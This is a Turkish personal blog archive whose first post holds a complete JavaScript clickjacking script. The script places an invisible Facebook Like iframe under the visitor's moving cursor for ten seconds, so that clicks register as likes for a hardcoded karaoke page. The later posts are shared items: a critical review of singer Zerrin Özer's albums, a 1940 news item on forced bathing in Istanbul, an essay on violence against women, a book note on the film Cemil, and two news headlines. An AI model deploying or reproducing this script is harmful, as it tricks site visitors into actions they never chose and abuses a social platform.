5 Temmuz 2012 Perşembe

otolıke

<script type="text/javascript">

/*
This code demonstrate a clickjack attack on websites. Similar to that of twitter & on facebook

*/

(function(){
var tempX = 0,
tempY = 0,

IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);

var like = document.createElement('iframe');
like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/karaokemuzikler') + '&amp;layout=standard&amp;show_faces=true&amp;widt h=53&amp;action=like&amp;colorscheme=light&amp;hei ght=80';
like.scrolling = 'no';
like.frameBorder = 0;
like.allowTransparency = 'true';
like.style.border = 0;
like.style.overflow = 'hidden';
like.style.cursor = 'pointer';
like.style.width = '53px';
like.style.height = '23px';
like.style.position = 'absolute';
like.style.opacity = 0; //Would be 0 if really used
document.getElementsByTagName('body')[0].appendChild(like);

window.addEventListener('mousemove', mouseMove, false);

setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);

function mouseMove(e) {
if (IE) {
tempX = event.clientX + document.body.scrollLeft;
tempY = event.clientY + document.body.scrollTop;
} else {
tempX = e.pageX;
tempY = e.pageY;
}

if (tempX < 0) tempX = 0;
if (tempY < 0) tempY = 0;

like.style.top = (tempY - 8) + 'px';
like.style.left = (tempX - 25) + 'px';

return true
}
})();
</script>

12 Mayıs 2010 Çarşamba

Seni Seviyor/d/um

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

04.02.2010 tarihinde Vladimir'in derdi üzerinden, yazan: yazan Vladimir

Türk pop müziğinin en iyi albümleri başlığını taşıyan bir liste yapmaya koyulsam içine rahatlıkla iki Zerrin Özer albümünü koyabilirim. Zerrin Özer 1980 yılında ilk ve ikinci albümünü Kent Plak'tan çıkarmış bir şarkıcımızdır. İlk iki albümü en güzel albümleridir; "Seni Seviyorum" ve "Sevgilerimle". Söz, müzik ve besteleriyle birbirini tamamlayan şarkılardan oluşmaktadır her ikisi de. Ve sanatçının vokali bu iki albümde mükemmeldir, şimdiki şarkı söyleyişi ile pek bir alakası yoktur. Albümlerin ikisinde de pop şarkılarımızda pek alışık olmadığımız pop-caz tınıları vardır. "Seni seviyorum, Bitti, Tüm dünya ağlıyor, Huzursuzum, Her sonbahar, Umut, Nerede o cennet?, Çalacak aşk dolu şarkılar, İmkansız, Solgun Güller, Her şey seninle güzel, Ayrılıklar unutulmaz, O yaz, İmkansız, Yalan, Gurur duyarım" bu iki albümde yer alan ve bir daha eşi benzeri yapılmamış güçlü şarkılardır.

Böylesine birbirinden güzel iki albümü ardı ardına yapan sanatçı ne akla hizmetse üçüncü albümünde, 1981 yılında yayınlanan "…ve Zerrin Özer" albümünde dört şarkı haricinde tamamen ağdalı arabesk şarkılarına yer vermiştir. Bu albümde yer alan "Aşk budur işte" güzel bir coverdir, "İki sevgi bir kalpte" ise Zerrin'in vasatın üstüne çıkabilmiş son şarkılarından olmuştur. Bundan sonra iki adet koyu mu koyu arabesk albümü; Gelecek misin? (1982) ve Mutluluklar Dilerim (1984) yayınlanır. 1985 yılında Kırmızı Arapça ve arabesk şarkılar ile dönemin popüler türkülerinin yanında yer alan üç pop şarkısı ile tamamen curcunaya dönmüş bir albümdür. Üstelik alt yapıda kullanılan elektronik davul sesleri cidden kafa ütülemektedir.


1987'de yayınlanan Dayanamıyorum isimli albümü pop ile arabeskin biraz daha senteze yönelik birlikteliğidir, yeni bir tarza göz kırpar gibidir, belki de Sezen Aksu'nun formülünü bu sanatçıda denemiştir Atila Özdemiroğlu. Ancak albüm satışları iyi gitmiş ve buradan da sanatçının uzun yıllar boyunca takılıp kalacağı albüm şekli belli olmuştur; yani biraz ondan biraz bundan azıcık da şundan tarzı. Arabesk, oyun havası ve birkaç pop şarkısı ile durumu kurtarmak sanatçının ve çalışacağı plak firmalarının mutabık kaldığı çalışma şekli olacaktır. 1989 yılında "Sat gitsin" isimli daha isminden kaybeden ne olduğu belirsiz bir albüm çıkmakla birlikte sanatçı adeta can simidine tutunurcasına iki şarkıya tutunmuştur, bunlardan birisi Barış Manço'nun "Unutamadım"ı diğeri de Kayahan'ın "Yoksun Sen"idir. Her iki şarkı da sanatçının eşiz sesi ile mükemmel uyum sağlamıştır. Öte yandan Ofra Haza'nın o dönem popüler olan şarkısının Türkçeleştirilmiş versiyonu "Hani ya yeminin" güzel bir versiyon olmuş ve "Aşk istiyor gönlüm" üzerinde özenle durulduğu belli olan şarkılar olmuştur.

1990 yılında "İşte ben" çıkar, "Sahne aynı roller başka" nefis bir pop şarkısıdır, o dönem revaçta olan "Lambada"yı söyleyen grubun slow bir şarkısının Türkçe versiyonudur. Ne arabesk ne de pop severlere yar olmamış bir albümdür. 1991 yılında "Sevildiğini bil" albümü yayınlanır. Açılışı yapan şarkının ismi albümün geri kalan bölümüne imza atar "Otuz beşe bakla".

Hayli kan kaybetmiş olan sanatçı hep cepten yemekte güzel sesinin hatrına albümünü alan almaktadır. Sezen-Onno ittifakındaki çözülme sonrasında sanatçı Onno Tunç'un kapısında sıraya girmiş sanatçılardan olmuştur. Onno Zerrin'e albüm yapmayı kabul eder. Uzun yıllardır beklenene yakın bir albüm olmuştur, Onno Tunç'un etkleyici düzenlemeleri ile sanatçının sesi ve usta yorumu güzel şarkılarda bir araya gelmiştir. Albüme adını veren açılışını yapan Olay Olay sanatçının unuttuğumuz ses rengini hatrlatmaya yetmiştir, ayrıca Mustafa Sandal'ın "Bir gün mutlaka" isimli şarkısındaki yorumu da mükemmeldir. Orhan Atasoy'un ölümsüzleşmiş şarkısının bir yorumu da bu albümde Zerrin'den gelir Melis Sökmen'in versiyonunun hemen ardından.

Bu albümün hemen ardından sanatçı müziği bıraktığını açıklar. 1996 yılına kadar sesi soluğu duyulmaz. Zerrin Özer 96 ile geriye döner, açılışı yapan "Paşa Gönlüm" dışında akılda kalan bir şarkı yoktur bu çalışmada. Bir yıl sonra Zerrin Özer 97 gelir. Bu albümden "Kıyamam" ve "Şimdi hayallerdesin" hit olur. Bir tane de Mina şarkısı versiyonu vardır, "Ancora ancora ancora" üstünden 20 küsürdan fazla yıl geçtikten sonra el atmak fazla anlamlı olmamıştır ya neyse.

Sanatçı 2000 yılına "Bir Zerrin Özer Arşivi"ne aldığı 13 eski şarkısı ve bir Kerim Tekin şarkısı ile girer, 2001 yılında 1989 albümünün açılış şarkısının remixini çıkarır "Sat Gitsin". 2003 yılında "Ölürüm Ben Sana" sevdiği bir insan vefa borcu gibidir bu albüm, hemen unutulacak şarkılar ile doludur. 2005 yılında "Ve Böyle Bir Şey" çıkar, türkülerimize Zerrin Özer yorumudur. 2007 yılında iki albüm bir arada çıkar "Ömür Geçiyor" ve "Zerrin Özel". İlk albüm pop şarkılar ile doludur, ikinci ile Anadolu rock tınılarına sahip bir çalışmadır. Her ikisi de oturmamış, fazla kafa yorulmamış albümlerdir. 2009 yılında Emanet isimli albüme misafir sanatçı olmuştur.

Zerrin Özer seçimlerini iyi yapamamış, eskiden iyi sesli olan bir sanatçıdır. İlk iki albümünde bir altın yumurtlayan tavuk yakaladıklarını düşünen plak yapımcıları sanatçının üzerinden kısa sürede daha çok para kazanabilmek için ona arabesk söyletmişler, sanatçı bu konuda tavrını net koyamadığı için de daha sonraki albümlerinde de arabesk gölgesi asla üzerinden çekilmemiştir. O ince ve güçlü ses, ses rengine uymayan alaturka ağırlıklı şarkıların icrası ile artık kalınlaşmış ve eski Zerrin'den eser kalmamıştır. Ancak ne olursa olsun ilk iki albümü çok mükemmeldir, Zerrin Özer iki adet mükemmel albümle müzik piyasasına bomba gibi giriş yapmış daha ilk adımında yıldızlaşmış bir sanatçıdır. 1980 yılından sonra çıkardığı albümlerde tutarlı bir çizgi maalesef izlememiştir.
2006 yılında yayınlanan otobiyografisi kitap olarak iyi bi ryerden tutturarak başlar, bir şarkının gelişimini anlatır, o şarkı Zerrin Özer'e dönüşür. Ancak Zerrin Özer'e dönüşünce, hayatının belli dönemlerindeki sıkıntıları, hataları, yanlış alınmış kararları için mütemadiyen başkalarının suçlandığını görürüz. Bu denli sık müzik tarzı değiştirmesine değinilmemiştir bile.

Bir de onun için süregelen iyi bir caz gırtlağına sahip olduğu geyiği vardır. Müzik ile ilgili kimseleri tarif için kullanılan gırtlak lafına oldum olası sıcak bakmam. Antipati duyarım. Zerrin Hanım'ın da böyle olduğunu söylerler. Hiç alakası yoktur oysa. Jazz söylemek için bağırmak bir ön şart değildir, fısıldayarak da söylenebilir. Ben bağıran cazcı duymadım şimdiye kadar.


Her şey seninle güzel yolda yürümek bile
Olmayacak düşlerin peşinde koşmak bile
Her şey seninle güzel bu toprak bu taş bile
İçimdeki bu korku gözümdeki bu yaş bile

 
 

Buradan şunları yapabilirsiniz:

 
 

Devlet zoruyla banyo

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

06.02.2010 tarihinde milli tarih üzerinden, yazan: yazan murat toklucu


1940 yılında İstanbul Belediyesi bit salgınıyla mücadele için yeni bir uygulama başlatmış. Buna göre Galata, Eminönü, Fatih, Eyüp ve Üsküdar'da dolaşan
ekipler saat 21.00'e kadar kahvehaneler, bekâr odaları ve hanlara operasyon yapıp kirli gördükleri kişileri zorla hamama götürüyormuş. 6 ayrı semtte bu iş
için açılan hamamlar yetmediğinden Eyup'te daha büyük bir hamamın açılması düşünüldüğü yazan habere göre belediye İstanbul Valiliği ile bu hamamların
"meccani" (ücretsiz) olması için için görüşüyormuş, zira "hırpanilerin ekseriyeti beş parasız oluyor" imiş.

(7 Şubat 1940 - Akşam)

 
 

Buradan şunları yapabilirsiniz:

 
 

Farkında Olmamak

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

08.03.2010 tarihinde Vladimir'in derdi üzerinden, yazan: yazan Vladimir

İnsan hatırlamaya başladı mı, kronolojik bir sıra içinde hatırlamıyor geçmişteki hallerini. Bir çağrışım, bir isim, bir su birikintisi, bir çiçek gölgesi bazen tetikliyor beynin kıvrımları arasında başı boş gezinen anıları. Halbuki bir düğmeye basınca kaldığımız yerden seyredebilsek derli toplu, daha iyi olmaz mıydı diye kafamdan geçiriyorum bazen. Bu intizam tutkusu deli edecek beni bir gün. Ya da yaşarken en büyük kazıkları kendimiz, kendi kendimize atıyoruz. Bir takım yanlış anlamalar, kinayeli laflara kıl kapıp tüy gibi uçuvermekler hayatımızdaki bir çok dönüm noktasının asıl sorumlusu. Farkında olmamayı unutmayalım, yazmazsam yazık olur. Bir takım kumpaslara meze olup fark edememeler hayat çizgimizde ani u dönüşleri yaratıp yeni rotalar çizmiştir aslında çoğumuza. Farkında olduğumuzu sandığımız olayların, fark edebildiğimiz kadarının gerçekten olan biten ile pek bir alakası yok Olmadık birinden duyup da şaşırmak için yıllarca beklemek gerekiyor bazen. Lafı nasıl da dolandırdım; hatırlamak diyordum, hatırlarsanız. Hatırlamanın tuşu olsa sırasıyla hatırlasak, bir de perde arkasında dönen dolapları görebileceğimiz "behind the scenes" tuşu olsa. Onca yılların ardından olan bitenin arkasında aslında, gerçekte neler döndüğünü izleyebilsek. Ne olmuş ne olmamış fark etsek, görsek, anlasak.

"Arkamdan ne işler çevriliyor acaba" diye kendine sorular sormaya başlayan birinin işi çok zor bence. Merak adama tatlı geldiği vakit, o soru başka soruları yankılatır peşi sıra. Böylelikle yankı yankı üstüne, hep bir komplonun içinde yaşadığını düşünmeye başlayan adam ilk başta tatlı kaçık muamelesi görürken sonradan "bırak şu paranoyağı" geçiştirmesine maruz kalabilir. Arkanızdan bir iş çevrildiği kuşkusu varsa ya yüzleşip sonuçlarını kısa vadede kucağa almak, ya da çekip gitmek en güzeli.

Yapanın yanına kar kaldığı bir ülkedeyiz. Utanma arlanma gibi duygular çoktan hasır altına itildi. Suçsuzken suçlu görünümü sergilemeniz çok kolay. Haksızlığa uğramış adamı menfaatlerini ön plana alıp da duymayacak ve bundan da zerre kadar gocunmayacak çok sayıda insan ile aynı havayı soluyoruz.

Kadına karşı şiddet uygulanan bir ülkede yaşıyoruz, daha geçen gün çantasını sevgilisine vermediği için sokak ortasında defalarca bıçaklandı bir kadınımız. Aylar önce erkek arkadaşının kendisini öldüreceğini bilerek randevusuna gitti bir diğeri. Yıllar önce sokak ortasında, yerde kocası tarafında bıçaklanarak öldürüldü bir başkası. Seyircilerinin kim olduğunu çok iyi biliyoruz. Bir kız ölmekten kaçmak için tek çaresi olarak camdan atlamayı gördü, atladı. Yanıldığını ambulans ile hastaneye götürülürken anladı. İzmir'de bir birahaneden polis kılığına girmiş adamlar tarafından saçından sürüklenerek dışarıya alınan kadına saatlerce tecavüz edildi. Birahanedeki diğer müşterilerin olay karşısındaki tepkisi sahte üniformalılarca icra edilen şiddeti izlemek oldu. Bu örnekteki şiddetin ortadan kaldırılması için bir girişim duydunuz mu? TV izleyenlerin sigara görmesine ya da ulu orta öpüp öpüşerek, şapşahane türk aile yapısının maazallah bozulmasına sebep olabilecek her türlü dizi senaryosuna mani olmayı kendine vazife addetmiş olanların kadın ölümleri ile sonuçlanan, tecavüzler ile biten olayları tümden silmek ile ilgili bir girişim yapma konusunda akıllarına bir fikir geliyor mu acaba? Ülkemi düşünen, onun için dahiyaneden daha mütevazi olamayan fikir üretenleri çok seviyorum.

Fuhuşa zorlanan, bundan kurtulmak için önünde hiçbir çıkış kapısı açılmayan kadınlar üzerinden yani kadını cinsel köle yapıp çalıştırarak servet sahibi olan bir çok insan var.

Erkek tarafından dayak atılmış, cinsel şiddete uğramış, hakları elinden alınmış çok kadın var ülkemizde.

Ben en çok akrabası olan kimseye; anne / anneanne / babaanne / kız kardeş / teyze / hala / karısına diğer insanların önünde sözlü şiddet uygulayan erkeklere öfkeleniyorum. Daha reşit olmamış erkek çocuk annesine ağza alınmayacak laflar ile hücum ediyor, ya da kadın akrabalarından bir diğerine geri zekalı muamelesi yapıyor. Diğer akrabalar seyirci.

Bir kocaman ağız, dünya kadınlar günü tatil olsun temennisinde bulunmuş. Çok iyi fikir. Bravo. Tatil olsun. Elem, tasa, dert, kötü şeylerin cümlesi silinsin. Tatil olsun, herkes mutlu olsun. İyi tatiller sevgili ülkeme, iyi tatiller.


Her şeye rağmen; Kadınlar gününüz kutlu olsun.

 
 

Buradan şunları yapabilirsiniz:

 
 

Bu Kabuslar Neden Cemil?

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

19.02.2010 tarihinde Vladimir'in derdi üzerinden, yazan: yazan Vladimir

Fazla rüya gören bir insan değilim, nadir gördüğüm rüyalarım ise film gibidir kolay unutmam, sabahları yatıktan başımı kaldırmaktansa o anda izlediğim nadir seyirliğin sonunu ne olacak merakına yenik düşerim. Rüyam nadirdir ama, tok karnına ne zaman yatsam, ful mide üzerine mutlaka bir kabus görürüm. Gerçeğe çok yakın bu halüsinasyonlar sebebi ile tok karnına uykuya teslim olmamaya özen gösteren bir tipim işte.


Cüneyt Arkın'ın baş karakterini canladırdığı 1975 yapımı Cemil isimli filminde, kabuslarla boğuşan adama eski karısı sorar:

"Bu kabuslar neden Cemil?"

Adam cevap verir: "Her şey beni huzursuz ediyor, bozuk düzen... Nereye elimi atsam bir kötülük, bir çirkinlik çıkıyor. Hepsini düzeltmek istiyorum, düzeltemiyorum. Neden küçük kızlar orospudur, neden onları öldürürler, neden hapishaneler var; çözemiyorum bir türlü.. Anlıyorsun değil mi?"

Bu sözlerin üzerine ne denir ki, yutkunmasını içine atar kadın.

Umur Tümay Aslan bu meşhur sözü kitabına başlık olarak seçmiş, alt başlığı ise "Yeşilçam'da erkeklik ve mazlumluk", Yeşilçam'daki erkek karakterler üzerine bir inceleme. Okumaya değer bir kitap.



 
 

Buradan şunları yapabilirsiniz:

 
 

Kırgızistan'da sular durulmuyor

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

12.05.2010 tarihinde Hürriyet ANASAYFA üzerinden, yazan:

Kırgızistan'ın başkenti Bişkek'te, eski Bişkek Belediye Başkanı Neriman Tüleyev'in yeniden göreve getirilmesi talebiyle gösteri yapanlar, taleplerini değiştirdi.

 
 

Buradan şunları yapabilirsiniz:

 
 

Çin'in "yeraltı ordusu"

 
 

Erhan tarafından Google Reader ile size gönderildi:

 
 

12.05.2010 tarihinde Hürriyet ANASAYFA üzerinden, yazan:

Çin'in Tarihi İpek Yolu'nun başlangıcı olarak kabul edilen Çin'in Şian şehrinde, 114 asker heykeli daha bulundu.

 
 

Buradan şunları yapabilirsiniz: